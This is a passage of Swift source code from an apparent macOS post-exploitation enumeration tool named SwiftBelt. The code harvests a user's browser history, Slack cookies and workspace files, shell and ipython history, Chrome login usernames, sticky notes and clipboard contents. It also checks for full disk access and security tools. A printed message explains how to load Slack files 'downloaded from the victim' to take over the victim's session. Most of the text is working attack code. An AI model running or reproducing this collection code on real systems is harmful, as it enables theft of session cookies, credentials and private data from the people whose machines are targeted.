var count = 0 572 | for each in NSWorkspace.shared.runningApplications { 573 | count = count + 1 574 | let appName = each.localizedName! 575 | let appURL = each.bundleURL//! 576 | let launchDate = each.launchDate 577 | let pid = each.processIdentifier 578 | 579 | if each.isHidden == true { 580 | hiddenString = "Hidden: YES\r" 581 | } 582 | else { 583 | hiddenString = "Hidden: NO\r" 584 | } 585 | print("\(count). Name: \(appName)") 586 | 587 | if appURL != nil { 588 | print("===>\(green)Path: \(appURL)\(colorend)") 589 | } 590 | 591 | if launchDate != nil { 592 | var lString = "\(launchDate)" 593 | var lString2 = lString.replacingOccurrences(of: "Optional", with: "").replacingOccurrences(of: "(", with: "").replacingOccurrences(of: ")", with: "") 594 | print("===>\(green)Launch Date: \(lString2)\(colorend)") 595 | 596 | } 597 | 598 | 599 | if pid != nil { 600 | var pString = "\(pid)" 601 | var pString2 = pString.replacingOccurrences(of: "Optional", with: "").replacingOccurrences(of: "(", with: "").replacingOccurrences(of: ")", with: "") 602 | print("===>\(green)PID: \(pString2)\(colorend)") 603 | 604 | } 605 | 606 | print("\(hiddenString)") 607 | } 608 | print("\(yellow)##########################################\(colorend)") 609 | } 610 | 611 | func ListUsers(){ 612 | let userDir = "/Users/" 613 | do { 614 | print("\(yellow)##########################################\(colorend)") 615 | print("==>Local User Account Info:\(green)") 616 | let users = try fileMan.contentsOfDirectory(atPath: userDir) 617 | for user in users{ 618 | print(user) 619 | } 620 | print("\(colorend)\(yellow)##########################################\(colorend)") 621 | } catch { 622 | print("\(yellow)##########################################\(colorend)") 623 | print("\(red)[-] Error attempting to list users\(colorend)") 624 | print("\(yellow)##########################################\(colorend)") 625 | } 626 | 627 | 628 | 629 | } 630 | 631 | func LaunchAgents(){ 632 | print("\(yellow)##########################################\(colorend)") 633 | print("==>LaunchAgent/LaunchDaemon Info:") 634 | let uName = NSUserName() 635 | 636 | if fileMan.fileExists(atPath: "/Users/\(uName)/Library/LaunchAgents",isDirectory: &isDir){ 637 | let launchaURL = URL(fileURLWithPath: "/Users/\(uName)/Library/LaunchAgents") 638 | print("\(colorend)User LaunchAgent Info:\(green)") 639 | do { 640 | let fileURLs = try fileMan.contentsOfDirectory(at: launchaURL, includingPropertiesForKeys: nil) 641 | for file in fileURLs{ 642 | print(file) 643 | } 644 | } catch { 645 | print("\(colorend)\(red)[-] Error while listing user LaunchAgent files\(colorend)") 646 | 647 | } 648 | 649 | print("") 650 | 651 | } 652 | 653 | if fileMan.fileExists(atPath: "/Library/LaunchDaemons",isDirectory: &isDir){ 654 | let launchdURL = URL(fileURLWithPath: "/Library/LaunchDaemons") 655 | print("\(colorend)System LaunchDaemon Info:\(green)") 656 | do { 657 | let fileURLs = try fileMan.contentsOfDirectory(at: launchdURL, includingPropertiesForKeys: nil) 658 | for file in fileURLs{ 659 | 660 | print(file) 661 | } 662 | } catch { 663 | print("\(colorend)\(red)[-] Error while listing System LaunchDaemon files\(colorend)") 664 | } 665 | 666 | print("") 667 | 668 | } 669 | 670 | if fileMan.fileExists(atPath: "/Library/LaunchAgents",isDirectory: &isDir){ 671 | let launchaURL2 = URL(fileURLWithPath: "/Library/LaunchAgents") 672 | print("\(colorend)System LaunchAgent Info:\(green)") 673 | do { 674 | let fileURLs = try fileMan.contentsOfDirectory(at: launchaURL2, includingPropertiesForKeys: nil) 675 | for file in fileURLs{ 676 | 677 | print(file) 678 | } 679 | } catch { 680 | print("\(colorend)\(red)[-] Error while listing System LaunchAgent files\(colorend)") 681 | } 682 | 683 | print("") 684 | 685 | } 686 | 687 | if fileMan.fileExists(atPath: "/Library/Managed Preferences",isDirectory: &isDir){ 688 | let launchaURL4 = URL(fileURLWithPath: "/Library/Managed Preferences/") 689 | print("\(colorend)Configuration Profile Info:\(green)") 690 | do { 691 | let fileURLs = try fileMan.contentsOfDirectory(at: launchaURL4, includingPropertiesForKeys: nil) 692 | for file in fileURLs{ 693 | 694 | print(file) 695 | } 696 | } catch { 697 | print("\(colorend)\(red)[-] Error while listing Configuration Profile files\(colorend)") 698 | } 699 | 700 | 701 | } 702 | 703 | print("\(colorend)\(yellow)##########################################\(colorend)") 704 | } 705 | 706 | func BrowserHistory(){ 707 | print("\(colorend)\(yellow)##########################################\(colorend)") 708 | print("==>Browser History Info:") 709 | let fileMan = FileManager() 710 | var nm1 = "" 711 | var nm2 = "" 712 | var nm3 = "" 713 | var nm4 = "" 714 | var visitDate = "" 715 | var histURL = "" 716 | var cVisitDate = "" 717 | var cUrl = "" 718 | var cTitle = "" 719 | var ffoxDate = "" 720 | var ffoxURL = "" 721 | 722 | var isDir = ObjCBool(true) 723 | let username = NSUserName() 724 | 725 | //quarantine history 726 | if fileMan.fileExists(atPath: "/Users/\(username)/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2", isDirectory: &isDir){ 727 | print("") 728 | print("\(green)***************Quarantine History Results for user \(username)***************\(colorend)") 729 | var db : OpaquePointer? 730 | var dbURL = URL(fileURLWithPath: "/Users/\(username)/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2") 731 | if sqlite3_open(dbURL.path, &db) != SQLITE_OK{ 732 | print("\(red)[-] Could not open quarantive events database.\(colorend)") 733 | }else { 734 | 735 | let queryString = "select datetime(LSQuarantineTimeStamp, 'unixepoch') as last_visited, LSQuarantineAgentBundleIdentifier, LSQuarantineDataURLString, LSQuarantineOriginURLString from LSQuarantineEvent where LSQuarantineDataURLString is not null order by last_visited;" 736 | 737 | var queryStatement: OpaquePointer? = nil 738 | 739 | if sqlite3_prepare_v2(db, queryString, -1, &queryStatement, nil) == SQLITE_OK{ 740 | while sqlite3_step(queryStatement) == SQLITE_ROW { 741 | let col1 = sqlite3_column_text(queryStatement, 0) 742 | if col1 != nil{ 743 | nm1 = String(cString: col1!) 744 | 745 | } 746 | 747 | let col2 = sqlite3_column_text(queryStatement, 1) 748 | if col2 != nil{ 749 | nm2 = String(cString: col2!) 750 | } 751 | 752 | let col3 = sqlite3_column_text(queryStatement, 2) 753 | if col3 != nil{ 754 | nm3 = String(cString:col3!) 755 | } 756 | 757 | 758 | let col4 = sqlite3_column_text(queryStatement, 3) 759 | if col4 != nil{ 760 | nm4 = String(cString: col4!) 761 | } 762 | 763 | 764 | print("Date: \(nm1) | App: \(nm2) | File: \(nm3) | OriginURL: \(nm4)") 765 | 766 | } 767 | // 768 | sqlite3_finalize(queryStatement) 769 | 770 | } 771 | 772 | 773 | 774 | } 775 | 776 | }else { 777 | print("\(red)[-] QuarantineEventsV2 database not found for user \(username)\(colorend)") 778 | } 779 | 780 | //safari history check 781 | if fileMan.fileExists(atPath: "/Users/\(username)/Library/Safari/History.db", isDirectory: &isDir){ 782 | print("") 783 | print("\(green)***************Safari history results for user \(username)***************\(colorend)") 784 | var db : OpaquePointer? 785 | var dbURL = URL(fileURLWithPath: "/Users/\(username)/Library/Safari/History.db") 786 | if sqlite3_open(dbURL.path, &db) != SQLITE_OK{ 787 | print("\(red)[-] Could not open the Safari History.db file for user \(username)\(colorend). It may be locked due to current use but you can copy it elsewhere and read from it") 788 | }else { 789 | //let queryString = "select history_visits.visit_time, history_items.url from history_visits, history_items where history_visits.history_item=history_items.id;" 790 | let queryString = "select datetime(history_visits.visit_time + 978307200, 'unixepoch') as last_visited, history_items.url from history_visits, history_items where history_visits.history_item=history_items.id order by last_visited;" 791 | var queryStatement: OpaquePointer? = nil 792 | 793 | if sqlite3_prepare_v2(db, queryString, -1, &queryStatement, nil) == SQLITE_OK{ 794 | while sqlite3_step(queryStatement) == SQLITE_ROW{ 795 | let col1 = sqlite3_column_text(queryStatement, 0) 796 | if col1 != nil{ 797 | visitDate = String(cString: col1!) 798 | 799 | } 800 | let col2 = sqlite3_column_text(queryStatement, 1) 801 | if col2 != nil{ 802 | histURL = String(cString: col2!) 803 | 804 | } 805 | 806 | print("Date: \(visitDate) | URL: \(histURL)") 807 | 808 | } 809 | sqlite3_finalize(queryStatement) 810 | 811 | } 812 | 813 | } 814 | } 815 | else { 816 | print("\(red)[-] Safari History.db database not found for user \(username)\(colorend)") 817 | } 818 | 819 | //chrome history check 820 | if fileMan.fileExists(atPath: "/Users/\(username)/Library/Application Support/Google/Chrome/Default/History", isDirectory: &isDir){ 821 | print("") 822 | print("\(green)***************Chrome history results for user \(username)***************\(colorend)") 823 | var db : OpaquePointer? 824 | var dbURL = URL(fileURLWithPath: "/Users/\(username)/Library/Application Support/Google/Chrome/Default/History") 825 | 826 | if sqlite3_open(dbURL.path, &db) != SQLITE_OK{ 827 | print("\(red)[-] Could not open the Chrome history database file for user \(username)\(colorend)") 828 | 829 | } else{ 830 | 831 | let queryString = "select datetime(last_visit_time/1000000-11644473600, \"unixepoch\") as last_visited, url, title from urls order by last_visited;" 832 | 833 | var queryStatement: OpaquePointer? = nil 834 | 835 | if sqlite3_prepare_v2(db, queryString, -1, &queryStatement, nil) == SQLITE_OK{ 836 | 837 | while sqlite3_step(queryStatement) == SQLITE_ROW{ 838 | 839 | 840 | let col1 = sqlite3_column_text(queryStatement, 0) 841 | if col1 != nil{ 842 | cVisitDate = String(cString: col1!) 843 | 844 | } 845 | 846 | let col2 = sqlite3_column_text(queryStatement, 1) 847 | if col2 != nil{ 848 | cUrl = String(cString: col2!) 849 | 850 | } 851 | 852 | let col3 = sqlite3_column_text(queryStatement, 2) 853 | if col3 != nil{ 854 | cTitle = String(cString: col3!) 855 | 856 | } 857 | 858 | 859 | print("Date: \(cVisitDate) | URL: \(cUrl) | Title: \(cTitle)") 860 | 861 | } 862 | 863 | sqlite3_finalize(queryStatement) 864 | 865 | } 866 | else { 867 | print("\(red)[-] Issue with preparing the Chrome History database...this may be because something is currently writing to it (i.e., an active Chrome browser). You can simply copy the locked file elsewhere and read from there\(colorend)") 868 | } 869 | 870 | } 871 | } 872 | else{ 873 | print("\(red)[-] Chrome History database not found for user \(username)\(colorend)") 874 | } 875 | 876 | //firefox history check 877 | if fileMan.fileExists(atPath: "/Users/\(username)/Library/Application Support/Firefox/Profiles/"){ 878 | let fileEnum = fileMan.enumerator(atPath: "/Users/\(username)/Library/Application Support/Firefox/Profiles/") 879 | print("") 880 | print("\(green)***************Firefox history results for user \(username)***************\(colorend)") 881 | 882 | while let each = fileEnum?.nextObject() as? String { 883 | if each.contains("places.sqlite"){ 884 | let placesDBPath = "/Users/\(username)/Library/Application Support/Firefox/Profiles/\(each)" 885 | var db : OpaquePointer? 886 | var dbURL = URL(fileURLWithPath: placesDBPath) 887 | 888 | var printTest = sqlite3_open(dbURL.path, &db) 889 | 890 | if sqlite3_open(dbURL.path, &db) != SQLITE_OK{ 891 | print("\(red)[-] Could not open the Firefox history database file for user \(username)\(colorend)") 892 | } else { 893 | 894 | let queryString = "select datetime(visit_date/1000000,'unixepoch') as time, url FROM moz_places, moz_historyvisits where moz_places.id=moz_historyvisits.place_id order by time;" 895 | 896 | var queryStatement: OpaquePointer? = nil 897 | 898 | if sqlite3_prepare_v2(db, queryString, -1, &queryStatement, nil) == SQLITE_OK{ 899 | 900 | while sqlite3_step(queryStatement) == SQLITE_ROW{ 901 | let col1 = sqlite3_column_text(queryStatement, 0) 902 | if col1 != nil{ 903 | ffoxDate = String(cString: col1!) 904 | } 905 | 906 | let col2 = sqlite3_column_text(queryStatement, 1) 907 | if col2 != nil{ 908 | ffoxURL = String(cString: col2!) 909 | } 910 | 911 | print("Date: \(ffoxDate) | URL: \(ffoxURL)") 912 | 913 | } 914 | 915 | sqlite3_finalize(queryStatement) 916 | 917 | } 918 | 919 | 920 | } 921 | } 922 | } 923 | } 924 | else { 925 | print("\(red)[-] Firefox places.sqlite database not found for user \(username)\(colorend)".data(using: .utf8)!) 926 | } 927 | 928 | print("\(colorend)\(yellow)##########################################\(colorend)") 929 | } 930 | 931 | func SlackExtract(){ 932 | var fileMan = FileManager.default 933 | var uName = NSUserName() 934 | var nm1 = "" 935 | var nm2 = "" 936 | var nm3 = "" 937 | var nm4 = "" 938 | 939 | print("\(colorend)\(yellow)##########################################\(colorend)") 940 | 941 | print("==> Slack Info:") 942 | 943 | if fileMan.fileExists(atPath: "/Users/\(uName)/Library/Application Support/Slack"){ 944 | print("\(green)[+] Slack found on this host!\(colorend)") 945 | if fileMan.fileExists(atPath: "/Users/\(uName)/Library/Application Support/Slack/storage/slack-downloads"){ 946 | print("\u{001B}[0;33m-->Found slack-downloads file\u{001B}[0;0m") 947 | print("\u{001B}[0;33m---->Downloads content of interest:\u{001B}[0;0m") 948 | let dwnURL = URL(fileURLWithPath: "/Users/\(uName)/Library/Application Support/Slack/storage/slack-downloads") 949 | do { 950 | let dwnData = try String(contentsOf: dwnURL) 951 | 952 | let dwnDataJoined = dwnData.components(separatedBy: ",") 953 | 954 | for item in dwnDataJoined{ 955 | if item.contains("http") { 956 | print(item) 957 | } 958 | if item.contains("/Users/"){ 959 | print("\u{001B}[0;36m==>\u{001B}[0;0m \(item)") 960 | } 961 | } 962 | 963 | } catch { 964 | print("\(red)[-] Error getting contents of slack-downloads file") 965 | } 966 | 967 | 968 | } 969 | 970 | if fileMan.fileExists(atPath: "/Users/\(uName)/Library/Application Support/Slack/storage/slack-workspaces"){ 971 | print("") 972 | print("\u{001B}[0;33m-->Found slack-workspaces file\u{001B}[0;0m") 973 | print("\u{001B}[0;33m---->Workspaces info of interest:\u{001B}[0;0m") 974 | let wkspURL = URL(fileURLWithPath: "/Users/\(uName)/Library/Application Support/Slack/storage/slack-workspaces") 975 | do { 976 | let wkspData = try String(contentsOf: wkspURL) 977 | 978 | let wkspJoined = wkspData.components(separatedBy: ",") 979 | 980 | for each in wkspJoined{ 981 | if (each.contains("name") && !(each.contains("_"))){ 982 | if let index = (each.range(of: "{")?.upperBound){ 983 | let modified = String(each.suffix(from: index)) 984 | print(modified) 985 | } else { 986 | print(each) 987 | } 988 | 989 | } 990 | 991 | if each.contains("team_name"){ 992 | print("\u{001B}[0;36m==>\u{001B}[0;0m \(each)") 993 | } 994 | 995 | if each.contains("team_url"){ 996 | print("\u{001B}[0;36m==>\u{001B}[0;0m \(each)") 997 | } 998 | 999 | if each.contains("unreads"){ 1000 | print("\u{001B}[0;36m==>\u{001B}[0;0m \(each)") 1001 | } 1002 | } 1003 | } catch { 1004 | print("\(red)[-] Error getting slack-teams content\(colorend)") 1005 | } 1006 | 1007 | } 1008 | 1009 | 1010 | if fileMan.fileExists(atPath: "/Users/\(uName)/Library/Application Support/Slack/Cookies"){ 1011 | print("") 1012 | print("\u{001B}[0;33m-->Found Slack Cookies Database\u{001B}[0;0m") 1013 | print("\u{001B}[0;33m---->Cookies found:\u{001B}[0;0m") 1014 | var db : OpaquePointer? 1015 | var dbURL = URL(fileURLWithPath: "/Users/\(uName)/Library/Application Support/Slack/Cookies") 1016 | if sqlite3_open(dbURL.path, &db) != SQLITE_OK{ 1017 | print("\(red)[-] Could not open the Slack Cookies database\(colorend)") 1018 | } else { 1019 | print("Format: host_key \u{001B}[0;36m||\u{001B}[0;0m name \u{001B}[0;36m||\u{001B}[0;0m value ") 1020 | let queryString = "select datetime(creation_utc, 'unixepoch') as creation, host_key, name, value from cookies order by creation;" 1021 | var queryStatement: OpaquePointer? = nil 1022 | 1023 | if sqlite3_prepare_v2(db, queryString, -1, &queryStatement, nil) == SQLITE_OK{ 1024 | while sqlite3_step(queryStatement) == SQLITE_ROW{ 1025 | let col1 = sqlite3_column_text(queryStatement, 0) 1026 | if col1 != nil{ 1027 | nm1 = String(cString: col1!) 1028 | } 1029 | 1030 | let col2 = sqlite3_column_text(queryStatement, 1) 1031 | if col2 != nil{ 1032 | nm2 = String(cString: col2!) 1033 | } 1034 | 1035 | let col3 = sqlite3_column_text(queryStatement, 2) 1036 | if col3 != nil{ 1037 | nm3 = String(cString: col3!) 1038 | } 1039 | 1040 | let col4 = sqlite3_column_text(queryStatement, 3) 1041 | if col4 != nil { 1042 | nm4 = String(cString:col4!) 1043 | } 1044 | 1045 | print("\(nm2) \u{001B}[0;36m||\u{001B}[0;0m \(nm3) \u{001B}[0;36m||\u{001B}[0;0m \(nm4)") 1046 | } 1047 | 1048 | } 1049 | else { 1050 | print("\(red)[-] Cookies database not found\(colorend)") 1051 | } 1052 | } 1053 | 1054 | } 1055 | 1056 | print("\u{001B}[0;36m+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\u{001B}[0;0m") 1057 | print("Steps from Cody's article to load the Slack files found:") 1058 | print("1. Install a new instance of slack (but don’t sign in to anything)") 1059 | print("2. Close Slack and replace the automatically created Slack/storage/slack-workspaces and Slack/Cookies files with the two you downloaded from the victim") 1060 | print("3. Start Slack") 1061 | print("\u{001B}[0;36m+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\u{001B}[0;0m") 1062 | 1063 | print("\(colorend)\(yellow)##########################################\(colorend)") 1064 | } 1065 | } 1066 | 1067 | func ShellHistory(){ 1068 | print("\(colorend)\(yellow)##########################################\(colorend)") 1069 | 1070 | let uName = NSUserName() 1071 | 1072 | let bashHistoryPath = "/Users/\(uName)/.bash_history" 1073 | if fileMan.fileExists(atPath: bashHistoryPath){ 1074 | print("==> Bash History Data:\(green)") 1075 | let bashHistory = URL(fileURLWithPath: bashHistoryPath) 1076 | do { 1077 | let bashData = try String(contentsOf: bashHistory) 1078 | print(bashData) 1079 | } catch { 1080 | print("\(colorend)\(red)[-] Error reading bash history content for the current user\(colorend)") 1081 | } 1082 | } else { 1083 | print("\(red)[-] ~/.bash_history file not found on this host\(colorend)") 1084 | } 1085 | 1086 | let zshHistoryPath = "/Users/\(uName)/.zsh_history" 1087 | if fileMan.fileExists(atPath: zshHistoryPath){ 1088 | print("==> Zsh History Data:\(green)") 1089 | let zshHistory = URL(fileURLWithPath: zshHistoryPath) 1090 | do { 1091 | let zshData = try String(contentsOf: zshHistory) 1092 | print(zshData) 1093 | } catch { 1094 | print("\(colorend)\(red)[-] Error reading Zsh history content for the current user\(colorend)") 1095 | } 1096 | } else { 1097 | print("\(red)[-] ~/.zsh_history file not found on this host\(colorend)") 1098 | } 1099 | 1100 | print("\(colorend)\(yellow)##########################################\(colorend)") 1101 | } 1102 | 1103 | func Bookmarks(){ 1104 | print("\(colorend)\(yellow)##########################################\(colorend)") 1105 | 1106 | let uName = NSUserName() 1107 | 1108 | //Chrome Bookmarks 1109 | if fileMan.fileExists(atPath: "/Users/\(uName)/Library/Application Support/Google/Chrome/Default/Bookmarks"){ 1110 | print("==> Chrome Bookmarks\(green)") 1111 | do { 1112 | let sshotPath = URL(fileURLWithPath: "/Users/\(uName)/Library/Application Support/Google/Chrome/Default/Bookmarks") 1113 | let fileData = try String(contentsOf: sshotPath) 1114 | print(fileData) 1115 | let list = fileData.components(separatedBy: ",") 1116 | for each in list { 1117 | if (each.contains("url") || each.contains("name")) && !(each.contains("\"type\"")){ 1118 | print(each.replacingOccurrences(of: "}", with: "")) 1119 | } 1120 | } 1121 | 1122 | } catch { 1123 | print("\(colorend)\(red)[-] Error reading Chrome bookmarks for user \(uName)\(colorend)") 1124 | } 1125 | print("\(colorend)\(yellow)##########################################\(colorend)") 1126 | } 1127 | 1128 | } 1129 | 1130 | func ChromeUsernames(){ 1131 | var uName = NSUserName() 1132 | if fileMan.fileExists(atPath: "/Users/\(uName)/Library/Application Support/Google/Chrome/Default/Login Data"){ 1133 | print("") 1134 | print("\u{001B}[0;33m-->Found Chrome Login Data sqlite3 db\u{001B}[0;0m") 1135 | print("\u{001B}[0;33m---->Attempting to grab username and url info....:\u{001B}[0;0m") 1136 | var db : OpaquePointer? 1137 | var dbURL = URL(fileURLWithPath: "/Users/\(uName)/Library/Application Support/Google/Chrome/Default/Login Data") 1138 | if sqlite3_open(dbURL.path, &db) != SQLITE_OK{ 1139 | print("\(red)[-] Could not open the Chrome Login Data database\(colorend)") 1140 | } else { 1141 | print("Format: origin_domain \u{001B}[0;36m || \u{001B}[0;0m username_value") 1142 | let queryString = "select origin_domain,username_value from stats;" 1143 | var queryStatement: OpaquePointer? = nil 1144 | 1145 | if sqlite3_prepare_v2(db, queryString, -1, &queryStatement, nil) == SQLITE_OK{ 1146 | while sqlite3_step(queryStatement) == SQLITE_ROW{ 1147 | let col1 = sqlite3_column_text(queryStatement, 0) 1148 | if col1 != nil{ 1149 | nm1 = String(cString: col1!) 1150 | } 1151 | 1152 | let col2 = sqlite3_column_text(queryStatement, 1) 1153 | if col2 != nil{ 1154 | nm2 = String(cString: col2!) 1155 | } 1156 | 1157 | 1158 | print("\(nm1) \u{001B}[0;36m || \u{001B}[0;0m \(nm2)") 1159 | } 1160 | 1161 | } 1162 | else { 1163 | print("\(red)[-] Error opening Chrome user db...may be locked (in use). If so, you can simply copy the Login Data db file elsewhere and read from it...\(colorend)") 1164 | } 1165 | } 1166 | 1167 | } 1168 | } 1169 | 1170 | func CheckFDA(){ 1171 | print("\(colorend)\(yellow)##########################################\(colorend)") 1172 | var p1 : Int = 0 1173 | print("==> Full Disk Access Check:") 1174 | let queryString = "kMDItemDisplayName = *TCC.db" 1175 | let username = NSUserName() 1176 | if let query = MDQueryCreate(kCFAllocatorDefault, queryString as CFString, nil, nil) { 1177 | MDQueryExecute(query, CFOptionFlags(kMDQuerySynchronous.rawValue)) 1178 | 1179 | for i in 0...fromOpaque(rawPtr).takeUnretainedValue() 1182 | if let path = MDItemCopyAttribute(item, kMDItemPath) as? String { 1183 | 1184 | if path.hasSuffix("/Users/\(username)/Library/Application Support/com.apple.TCC/TCC.db"){ 1185 | p1 = p1 + 1 1186 | 1187 | } 1188 | 1189 | } 1190 | } 1191 | } 1192 | 1193 | if p1 > 0 { 1194 | print("\(green)[+] Your app context HAS ALREADY been given full disk access (mdquery API calls can see the user's TCC database)\(colorend)") 1195 | } 1196 | else { 1197 | print("\(yellow)[-] Your app context HAS NOT been given full disk access yet (mdquery API calls cannot see the user's TCC database)\(colorend)") 1198 | } 1199 | 1200 | } 1201 | print("\(colorend)\(yellow)##########################################\(colorend)") 1202 | 1203 | } 1204 | 1205 | func UnivAccessAuth(){ 1206 | let username = NSUserName() 1207 | print("==> com.apple.universalaccessAuthWarning.plist check: (note: 1=allowed, 2=denied)") 1208 | var pListFormat = PropertyListSerialization.PropertyListFormat.xml 1209 | var pListData : [String: AnyObject] = [:] 1210 | var pListPath : String? = Bundle.main.path(forResource: "data", ofType: "plist") 1211 | 1212 | if fileMan.fileExists(atPath: "/Users/\(username)/Library/Preferences/com.apple.universalaccessAuthWarning.plist"){ 1213 | let plistURL = URL(fileURLWithPath: "/Users/\(username)/Library/Preferences/com.apple.universalaccessAuthWarning.plist") 1214 | do { 1215 | let plistXML = try Data(contentsOf: plistURL) 1216 | pListData = try PropertyListSerialization.propertyList(from: plistXML, options: .mutableContainers, format: &pListFormat) as! [String:AnyObject] 1217 | 1218 | for each in pListData{ 1219 | print("\(green)\(each)\(colorend)") 1220 | } 1221 | } 1222 | catch let error { 1223 | print("\(red)\(error)") 1224 | } 1225 | 1226 | print("\(colorend)\(yellow)##########################################\(colorend)") 1227 | } 1228 | } 1229 | 1230 | func StickieNotes(){ 1231 | var canary = 0 1232 | let username = NSUserName() 1233 | var isDir = ObjCBool(true) 1234 | print("==> Checking for Stickie Note contents:") 1235 | if fileMan.fileExists(atPath: "/Users/\(username)/Library/Containers/com.apple.Stickies/Data/Library/Stickies",isDirectory: &isDir){ 1236 | do { 1237 | var stickie_files = try fileMan.contentsOfDirectory(atPath: "/Users/\(username)/Library/Containers/com.apple.Stickies/Data/Library/Stickies") 1238 | if stickie_files.count > 1{ 1239 | print("\(green) [+] Stickie Files Found!\(colorend)") 1240 | print("Stickie Note Contents:") 1241 | if stickie_files.contains(".SavedStickiesState"){ 1242 | for file in stickie_files{ 1243 | if file.hasSuffix(".rtfd"){ 1244 | canary = canary + 1 1245 | var dirname = "/Users/\(username)/Library/Containers/com.apple.Stickies/Data/Library/Stickies/\(file)" 1246 | 1247 | var dircontents = try fileMan.contentsOfDirectory(atPath: "/Users/\(username)/Library/Containers/com.apple.Stickies/Data/Library/Stickies/\(file)") 1248 | for k in dircontents{ 1249 | if k.contains("TXT.rtf"){ 1250 | 1251 | var stickiedata = try String(contentsOfFile: "/Users/\(username)/Library/Containers/com.apple.Stickies/Data/Library/Stickies/\(file)/\(k)") 1252 | print("\(green)\(stickiedata)\(colorend)") 1253 | 1254 | } 1255 | } 1256 | } 1257 | } 1258 | } 1259 | 1260 | 1261 | 1262 | } 1263 | 1264 | 1265 | } 1266 | catch (let error){ 1267 | print("[-]\(red)\(error)\(colorend)") 1268 | 1269 | } 1270 | 1271 | } 1272 | if canary == 0 { 1273 | print("\(yellow)[-] No stickie file contents found on this host\(colorend)") 1274 | } 1275 | } 1276 | 1277 | func JupyterCheck(){ 1278 | let uName = NSUserName() 1279 | var isDir = ObjCBool(true) 1280 | if fileMan.fileExists(atPath: "/Users/\(uName)/.ipython",isDirectory: &isDir){ 1281 | do { 1282 | print("\(colorend)==>.ipython Directory Found:\(green)") 1283 | var db : OpaquePointer? 1284 | var dbURL = URL(fileURLWithPath: "/Users/\(uName)/.ipython/profile_default/history.sqlite") 1285 | if sqlite3_open(dbURL.path, &db) != SQLITE_OK{ 1286 | print("\(red)[-] Could not open the ipython history.sqlite database\(colorend)") 1287 | } else { 1288 | print("\(colorend)[+] Results of previously executed ipython commands:\(green)") 1289 | let queryString = "select * from history;" 1290 | var queryStatement: OpaquePointer? = nil 1291 | if sqlite3_prepare_v2(db, queryString, -1, &queryStatement, nil) == SQLITE_OK{ 1292 | while sqlite3_step(queryStatement) == SQLITE_ROW{ 1293 | let col1 = sqlite3_column_text(queryStatement, 0) 1294 | if col1 != nil{ 1295 | nm1 = String(cString: col1!) 1296 | } 1297 | let col2 = sqlite3_column_text(queryStatement, 1) 1298 | if col2 != nil{ 1299 | nm2 = String(cString: col2!) 1300 | } 1301 | 1302 | let col3 = sqlite3_column_text(queryStatement, 2) 1303 | if col3 != nil{ 1304 | nm3 = String(cString: col3!) 1305 | } 1306 | 1307 | let col4 = sqlite3_column_text(queryStatement, 3) 1308 | if col4 != nil{ 1309 | nm4 = String(cString: col4!) 1310 | } 1311 | 1312 | print("session: \(nm1) | line: \(nm2) | source text: \(nm3) | source_raw text: \(nm4)") 1313 | } 1314 | sqlite3_finalize(queryStatement) 1315 | } 1316 | } 1317 | 1318 | } 1319 | catch { 1320 | print("\(red)[-] Error attempting to get contents of ~/.ipython/profile_default/history.sqlite\(colorend)") 1321 | } 1322 | 1323 | } else { 1324 | print("\(red)[-] ~/.ipython/profile_default/history.sqlite not found on this host\(colorend)") 1325 | } 1326 | 1327 | } 1328 | 1329 | Banner() 1330 | 1331 | if CommandLine.arguments.count == 1{ 1332 | CheckFDA() 1333 | SecCheck() 1334 | SystemInfo() 1335 | SearchCreds() 1336 | Clipboard() 1337 | RunningApps() 1338 | ListUsers() 1339 | LaunchAgents() 1340 | BrowserHistory() 1341 | SlackExtract() 1342 | ShellHistory() 1343 | UnivAccessAuth() 1344 | ChromeUsernames() 1345 | Bookmarks() 1346 | StickieNotes() 1347 | TextEditCheck() 1348 | JupyterCheck() 1349 | } 1350 | else { 1351 | for argument in CommandLine.arguments{ 1352 | if argument.contains("-h"){ 1353 | print("Help menu:") 1354 | print("\(yellow)SwiftBelt Options:\(colorend)") 1355 | print("\(cyan)-CheckFDA -->\(colorend) Check to see if Terminal has already been granted full disk access") 1356 | print("\(cyan)-SecurityTools -->\(colorend) Check for the presence of security tools") 1357 | print("\(cyan)-SystemInfo -->\(colorend) Pull back system info (wifi SSID info, open directory node info, internal IPs, basic system info)") 1358 | print("\(cyan)-LockCheck -->\(colorend) Check if the screen is currently locked using CGSession API calls") 1359 | print("\(cyan)-SearchCreds -->\(colorend) Searches for ssh/aws/azure/gcloud creds") 1360 | print("\(cyan)-Clipboard --> \(colorend)Dump clipboard contents") 1361 | print("\(cyan)-RunningApps --> \(colorend)List all running apps") 1362 | print("\(cyan)-ListUsers --> \(colorend)List local user accounts") 1363 | print("\(cyan)-LaunchAgents --> \(colorend)List launch agents, launch daemons, and configuration profile files") 1364 | print("\(cyan)-BrowserHistory --> \(colorend)Attempt to pull Safari, Firefox, Chrome, and Quarantine history") 1365 | print("\(cyan)-SlackExtract --> \(colorend)Check if Slack is present and if so read cookie, downloads, and workspaces info") 1366 | print("\(cyan)-ShellHistory --> \(colorend)Read bash history content") 1367 | print("\(cyan)-Bookmarks --> \(colorend)Read Chrome bookmarks") 1368 | print("\(cyan)-ChromeUsernames --> \(colorend)Read Chrome url and username data from the Chrome Login Data db") 1369 | print("\(cyan)-UniversalAccessAuth --> \(colorend)Read from universalaccessAuthWarning.plist to see a list of apps that the user has been presented access control dialogs for along with the user's selection (1: allowed, 2: not allowed)") 1370 | print("\(cyan)-StickieNotes --> \(colorend)Reads any open stickie note contents on the host") 1371 | print("\(cyan)-TextEditCheck --> \(colorend)Check for unsaved TextEdit documents and attempt to read file contents") 1372 | print("\(cyan)-JupyterCheck -->\(colorend)Attempt to read from the ipython history db if present") 1373 | print("") 1374 | print("\(yellow)Usage:\(colorend)") 1375 | print("To run all options: \(binname)") 1376 | print("To specify certain options: \(binname) [option1] [option2] [option3]...") 1377 | print("") 1378 | exit(0) 1379 | } 1380 | else { 1381 | if argument.contains("-CheckFDA"){ 1382 | CheckFDA() 1383 | } 1384 | 1385 | if argument.contains("-SecurityTools"){ 1386 | SecCheck() 1387 | } 1388 | 1389 | if argument.contains("-SystemInfo"){ 1390 | SystemInfo() 1391 | } 1392 | 1393 | if argument.contains("-LockCheck"){ 1394 | LockCheck() 1395 | } 1396 | 1397 | if argument.contains("-SearchCreds"){ 1398 | SearchCreds() 1399 | } 1400 | 1401 | if argument.contains("-Clipboard"){ 1402 | Clipboard() 1403 | } 1404 | if 